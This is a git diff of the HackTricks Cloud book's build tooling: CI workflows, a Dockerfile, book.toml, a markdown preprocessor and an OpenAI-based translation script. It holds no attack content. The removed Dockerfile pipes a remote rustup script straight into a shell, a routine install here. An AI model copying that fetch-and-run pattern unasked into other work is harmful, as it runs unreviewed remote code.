MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-${BRANCH}"
|
||||
TITLE="Search Index (${BRANCH})"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: |
|
||||
echo "Current branch:"
|
||||
git rev-parse --abbrev-ref HEAD
|
||||
echo "Syncing $BRANCH to S3"
|
||||
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
echo "Sync completed"
|
||||
echo "Cat 3 files from the book"
|
||||
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
|
||||
23
.github/workflows/upload_ht_to_ai.yml
vendored
23
.github/workflows/upload_ht_to_ai.yml
vendored
@@ -1,23 +0,0 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -35,4 +35,3 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
||||
31
Dockerfile
31
Dockerfile
@@ -1,31 +0,0 @@
|
||||
# Use the official Python 3.12 Bullseye image as the base
|
||||
FROM python:3.12-bullseye
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
sudo \
|
||||
build-essential \
|
||||
awscli
|
||||
|
||||
# Install Python libraries
|
||||
RUN pip install --upgrade pip && \
|
||||
pip install openai tqdm tiktoken
|
||||
|
||||
# Install Rust & Cargo
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
# Install mdBook & plugins
|
||||
RUN cargo install mdbook
|
||||
RUN cargo install mdbook-alerts
|
||||
RUN cargo install mdbook-reading-time
|
||||
RUN cargo install mdbook-pagetoc
|
||||
RUN cargo install mdbook-tabs
|
||||
RUN cargo install mdbook-codename
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
34
README.md
Normal file
34
README.md
Normal file
@@ -0,0 +1,34 @@
|
||||
# HackTricks Cloud
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> Bienvenue sur la page où vous trouverez chaque **astuce/technique de hacking/quoi que ce soit lié à CI/CD & Cloud** que j'ai appris dans **CTFs**, **la vraie** vie **environnements**, **recherchant**, et **lisant** des recherches et des nouvelles.
|
||||
|
||||
### **Méthodologie de Pentesting CI/CD**
|
||||
|
||||
**Dans la méthodologie CI/CD de HackTricks, vous trouverez comment pentester l'infrastructure liée aux activités CI/CD.** Lisez la page suivante pour une **introduction :**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Méthodologie de Pentesting Cloud
|
||||
|
||||
**Dans la méthodologie Cloud de HackTricks, vous trouverez comment pentester les environnements cloud.** Lisez la page suivante pour une **introduction :**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### Licence & Avertissement
|
||||
|
||||
**Vérifiez-les dans :**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Statistiques Github
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
15
book.toml
15
book.toml
@@ -1,7 +1,6 @@
|
||||
[book]
|
||||
authors = ["HackTricks Team"]
|
||||
language = "en"
|
||||
multilingual = false
|
||||
src = "src"
|
||||
title = "HackTricks Cloud"
|
||||
|
||||
@@ -9,26 +8,17 @@ title = "HackTricks Cloud"
|
||||
create-missing = false
|
||||
extra-watch-dirs = ["translations"]
|
||||
|
||||
[preprocessor.alerts]
|
||||
after = ["links"]
|
||||
|
||||
[preprocessor.reading-time]
|
||||
|
||||
[preprocessor.pagetoc]
|
||||
|
||||
[preprocessor.tabs]
|
||||
|
||||
[preprocessor.codename]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
|
||||
additional-js = [
|
||||
"theme/pagetoc.js",
|
||||
"theme/tabs.js",
|
||||
"theme/pagetoc.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
@@ -36,6 +26,7 @@ additional-js = [
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
default-theme = "hacktricks-light"
|
||||
hash-files = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = true # whether or not to enable section folding
|
||||
|
||||
@@ -53,11 +53,17 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
@@ -65,11 +71,17 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
@@ -147,8 +159,14 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Book keys: {book.keys()}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
# Handle both old (sections) and new (items) mdbook API
|
||||
book_items = book.get('sections') or book.get('items', [])
|
||||
|
||||
for chapter in iterate_chapters(book_items):
|
||||
if chapter is None:
|
||||
continue
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Define the image folder and the root of your project
|
||||
IMAGE_FOLDER="./src/images"
|
||||
PROJECT_ROOT="."
|
||||
|
||||
# Move to the project root
|
||||
cd "$PROJECT_ROOT" || exit
|
||||
|
||||
# Loop through each image file in the folder
|
||||
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
|
||||
# Extract the filename without the path
|
||||
image_name=$(basename "$image")
|
||||
|
||||
# If image file name contains "sponsor", skip it
|
||||
if [[ "$image_name" == *"sponsor"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"arte"* ]]; then
|
||||
echo "Skipping arte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"grte"* ]]; then
|
||||
echo "Skipping grte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"azrte"* ]]; then
|
||||
echo "Skipping azrte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"websec"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"venacus"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CLOUD"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"cloud.gif"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CH_logo"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"lasttower"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
|
||||
|
||||
echo "Checking image: $image_name"
|
||||
|
||||
# Search for the image name using rg and capture the result
|
||||
search_result=$(rg -F --files-with-matches "$image_name" \
|
||||
--no-ignore --hidden \
|
||||
--glob '!.git/*' \
|
||||
--glob '!$IMAGE_FOLDER/*' < /dev/null)
|
||||
|
||||
echo "Search result: $search_result"
|
||||
|
||||
# If rg doesn't find any matches, delete the image
|
||||
if [ -z "$search_result" ]; then
|
||||
echo "Deleting unused image: $image"
|
||||
rm "$image"
|
||||
else
|
||||
echo "Image used: $image_name"
|
||||
echo "$search_result"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Cleanup completed!"
|
||||
@@ -1,165 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def replace_refs_in_text(text: str, new_refs: list):
|
||||
"""Replace all refs in text with new_refs, maintaining order."""
|
||||
matches = list(REF_RE.finditer(text))
|
||||
if len(matches) != len(new_refs):
|
||||
return text # Can't replace if counts don't match
|
||||
|
||||
# Replace from end to beginning to avoid offset issues
|
||||
result = text
|
||||
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
|
||||
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
|
||||
start, end = match.span()
|
||||
# Format the replacement with proper newlines
|
||||
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
|
||||
result = result[:start] + formatted_replacement + result[end:]
|
||||
|
||||
return result
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
|
||||
parser.add_argument("--files-unmatched-paths", type=str,
|
||||
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
if not REFS_JSON.exists():
|
||||
raise SystemExit(f"Reference file not found: {REFS_JSON}")
|
||||
|
||||
# Load the reference refs from master branch
|
||||
try:
|
||||
with open(REFS_JSON, 'r', encoding='utf-8') as f:
|
||||
master_refs = json.load(f)
|
||||
except (json.JSONDecodeError, UnicodeDecodeError) as e:
|
||||
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
|
||||
|
||||
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
|
||||
|
||||
files_processed = 0
|
||||
files_modified = 0
|
||||
files_with_differences = 0
|
||||
unmatched_files = [] # Track files with unmatched refs
|
||||
|
||||
# Track which files exist in current branch
|
||||
current_files = set()
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
|
||||
files_processed += 1
|
||||
|
||||
# Track this file as existing in current branch
|
||||
current_files.add(rel)
|
||||
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
current_refs = extract_refs(content)
|
||||
|
||||
# Check if file exists in master refs
|
||||
if rel not in master_refs:
|
||||
if current_refs:
|
||||
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
master_file_refs = master_refs[rel]
|
||||
|
||||
# Compare ref counts
|
||||
if len(current_refs) != len(master_file_refs):
|
||||
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
# If no refs in either, skip
|
||||
if not current_refs and not master_file_refs:
|
||||
continue
|
||||
|
||||
# Compare individual refs
|
||||
differences_found = False
|
||||
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
|
||||
if current_ref != master_ref:
|
||||
if not differences_found:
|
||||
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
|
||||
differences_found = True
|
||||
print(f" Ref {i+1}:")
|
||||
print(f" Master: {repr(master_ref)}")
|
||||
print(f" Current: {repr(current_ref)}")
|
||||
|
||||
if differences_found:
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Replace current refs with master refs
|
||||
try:
|
||||
new_content = replace_refs_in_text(content, master_file_refs)
|
||||
if new_content != content:
|
||||
md_path.write_text(new_content, encoding="utf-8")
|
||||
files_modified += 1
|
||||
print(f" ✅ Fixed refs in {rel_with_src}")
|
||||
else:
|
||||
print(f" ❌ Failed to replace refs in {rel_with_src}")
|
||||
except Exception as e:
|
||||
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
|
||||
|
||||
# Check for files that exist in master refs but not in current branch
|
||||
unexisted_files = 0
|
||||
for master_file_rel in master_refs.keys():
|
||||
if master_file_rel not in current_files:
|
||||
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
|
||||
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
|
||||
unexisted_files += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Save unmatched files to specified path if requested
|
||||
if args.files_unmatched_paths and unmatched_files:
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
|
||||
f.write(','.join(list(set(unmatched_files))))
|
||||
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
|
||||
elif args.files_unmatched_paths and not unmatched_files:
|
||||
# Create empty file if no unmatched files found
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
unmatched_paths_file.write_text('\n', encoding='utf-8')
|
||||
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
|
||||
|
||||
print(f"\n SUMMARY:")
|
||||
print(f" Files processed: {files_processed}")
|
||||
print(f" Files with different refs: {files_with_differences}")
|
||||
print(f" Files modified: {files_modified}")
|
||||
print(f" Non existing files: {unexisted_files}")
|
||||
if unmatched_files:
|
||||
print(f" Unmatched files: {len(unmatched_files)}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,38 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def main():
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
refs = extract_refs(content)
|
||||
refs_per_path[rel] = refs # keep order from findall
|
||||
|
||||
|
||||
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
|
||||
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -12,25 +12,15 @@ from tqdm import tqdm #pip3 install tqdm
|
||||
import traceback
|
||||
|
||||
|
||||
|
||||
MASTER_BRANCH = "master"
|
||||
VERBOSE = True
|
||||
MAX_TOKENS = 50000 #gpt-4-1106-preview
|
||||
DISALLOWED_SPECIAL = "<|endoftext|>"
|
||||
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
|
||||
|
||||
def _sanitize(text: str) -> str:
|
||||
"""
|
||||
Replace the reserved tiktoken token with a harmless placeholder.
|
||||
Called everywhere a string can flow into tiktoken.encode() or the
|
||||
OpenAI client.
|
||||
"""
|
||||
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
|
||||
MAX_TOKENS = 10000 #gpt-4-1106-preview
|
||||
|
||||
def reportTokens(prompt, model):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
|
||||
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
prompt = _sanitize(prompt)
|
||||
return len(encoding.encode(prompt))
|
||||
|
||||
|
||||
@@ -46,37 +36,35 @@ def get_branch_files(branch):
|
||||
files = result.stdout.decode().splitlines()
|
||||
return set(files)
|
||||
|
||||
def get_unused_files(branch):
|
||||
def delete_unique_files(branch):
|
||||
"""Delete files that are unique to branch2."""
|
||||
# Get the files in each branch
|
||||
files_branch_master = get_branch_files(MASTER_BRANCH)
|
||||
files_branch_lang = get_branch_files(branch)
|
||||
files_branch1 = get_branch_files(MASTER_BRANCH)
|
||||
files_branch2 = get_branch_files(branch)
|
||||
|
||||
# Find the files that are in branch2 but not in branch1
|
||||
unique_files = files_branch_lang - files_branch_master
|
||||
unique_files = files_branch2 - files_branch1
|
||||
|
||||
return unique_files
|
||||
if unique_files:
|
||||
# Switch to the second branch
|
||||
subprocess.run(["git", "checkout", branch])
|
||||
|
||||
# Delete the unique files from the second branch
|
||||
for file in unique_files:
|
||||
subprocess.run(["git", "rm", file])
|
||||
|
||||
subprocess.run(["git", "checkout", MASTER_BRANCH])
|
||||
|
||||
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
|
||||
|
||||
|
||||
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
|
||||
"""
|
||||
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
|
||||
Also remove all the files that are not in the master branch.
|
||||
"""
|
||||
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
|
||||
# If branch doesn't exist, create it
|
||||
if branch_exists.returncode != 0:
|
||||
subprocess.run(['git', 'checkout', '-b', branch])
|
||||
else:
|
||||
subprocess.run(['git', 'checkout', branch])
|
||||
|
||||
# Get files to delete
|
||||
files_to_delete = get_unused_files(branch)
|
||||
|
||||
# Delete files
|
||||
for file in files_to_delete:
|
||||
os.remove(file)
|
||||
print(f"[+] Deleted {file}")
|
||||
|
||||
# Walk through source directory
|
||||
for dirpath, dirnames, filenames in os.walk(temp_folder):
|
||||
@@ -91,72 +79,32 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
|
||||
for file_name in filenames:
|
||||
src_file = os.path.join(dirpath, file_name)
|
||||
shutil.copy2(src_file, dest_path)
|
||||
if not "/images/" in src_file and not "/theme/" in src_file:
|
||||
print(f"[+] Copied from {src_file} to {file_name}")
|
||||
|
||||
print(f"Translated files copied to branch: {branch}")
|
||||
|
||||
if translate_files:
|
||||
commit_and_push(translate_files, branch)
|
||||
subprocess.run(['git', 'add', "-A"])
|
||||
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
|
||||
subprocess.run(['git', 'checkout', MASTER_BRANCH])
|
||||
print("Commit created and moved to master branch")
|
||||
else:
|
||||
print("No commiting anything, leaving in language branch")
|
||||
|
||||
def commit_and_push(translate_files, branch):
|
||||
# Define the commands we want to run
|
||||
commands = [
|
||||
['git', 'add', '-A'],
|
||||
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
|
||||
['git', 'push', '--set-upstream', 'origin', branch],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# Print stdout and stderr (if any)
|
||||
if result.stdout:
|
||||
print(f"STDOUT for {cmd}:\n{result.stdout}")
|
||||
if "nothing to commit" in result.stdout.lower():
|
||||
print("Nothing to commit, leaving")
|
||||
exit(0)
|
||||
|
||||
if result.stderr:
|
||||
print(f"STDERR for {cmd}:\n{result.stderr}")
|
||||
|
||||
# Check for errors
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Command `{cmd}` failed with exit code {result.returncode}"
|
||||
)
|
||||
|
||||
print("Commit created and pushed")
|
||||
|
||||
|
||||
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
|
||||
if not text:
|
||||
return text
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
|
||||
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
|
||||
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
|
||||
|
||||
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
|
||||
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
|
||||
- Don't translate or modify tags, links, refs and paths like in:
|
||||
- {{#tabs}}
|
||||
- {{#tab name="Method1"}}
|
||||
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
|
||||
- {{#include ./banners/hacktricks-training.md}}
|
||||
- {{#ref}}macos-tcc-bypasses/{{#endref}}
|
||||
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
|
||||
- Don't translate any other tag, just return markdown and html content as is.
|
||||
|
||||
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
|
||||
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
|
||||
{"role": "user", "content": text},
|
||||
]
|
||||
try:
|
||||
response = client.chat.completions.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=1 # 1 because gpt-5 doesn't support other
|
||||
temperature=0
|
||||
)
|
||||
except Exception as e:
|
||||
print("Python Exception: " + str(e))
|
||||
@@ -201,9 +149,6 @@ Also don't add any extra stuff in your response that is not part of the translat
|
||||
return translate_text(language, text, file_path, model, cont, False, client)
|
||||
|
||||
response_message = response.choices[0].message.content.strip()
|
||||
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
|
||||
response_message = response_message.replace("Bypassy", "Bypasses")
|
||||
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
|
||||
|
||||
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
|
||||
cont2 = 0
|
||||
@@ -225,11 +170,9 @@ def split_text(text, model):
|
||||
chunks = []
|
||||
chunk = ''
|
||||
in_code_block = False
|
||||
in_ref = False
|
||||
|
||||
for line in lines:
|
||||
|
||||
# Keep code blocks as one chunk
|
||||
# If we are in a code block, just add the code to the chunk
|
||||
if line.startswith('```'):
|
||||
|
||||
# If we are in a code block, finish it with the "```"
|
||||
@@ -245,24 +188,8 @@ def split_text(text, model):
|
||||
chunk += line + '\n'
|
||||
|
||||
continue
|
||||
|
||||
"""
|
||||
Prevent refs using `` like:
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||
{{#endref}}
|
||||
"""
|
||||
if line.startswith('{{#ref}}'):
|
||||
in_ref = True
|
||||
|
||||
if in_ref:
|
||||
line = line.replace("`", "")
|
||||
|
||||
if line.startswith('{{#endref}}'):
|
||||
in_ref = False
|
||||
|
||||
|
||||
# If new section, see if we should be splitting the text
|
||||
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
|
||||
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
|
||||
|
||||
@@ -275,30 +202,23 @@ def split_text(text, model):
|
||||
return chunks
|
||||
|
||||
|
||||
def copy_dirs(source_path, dest_path, folder_names):
|
||||
for folder_name in folder_names:
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
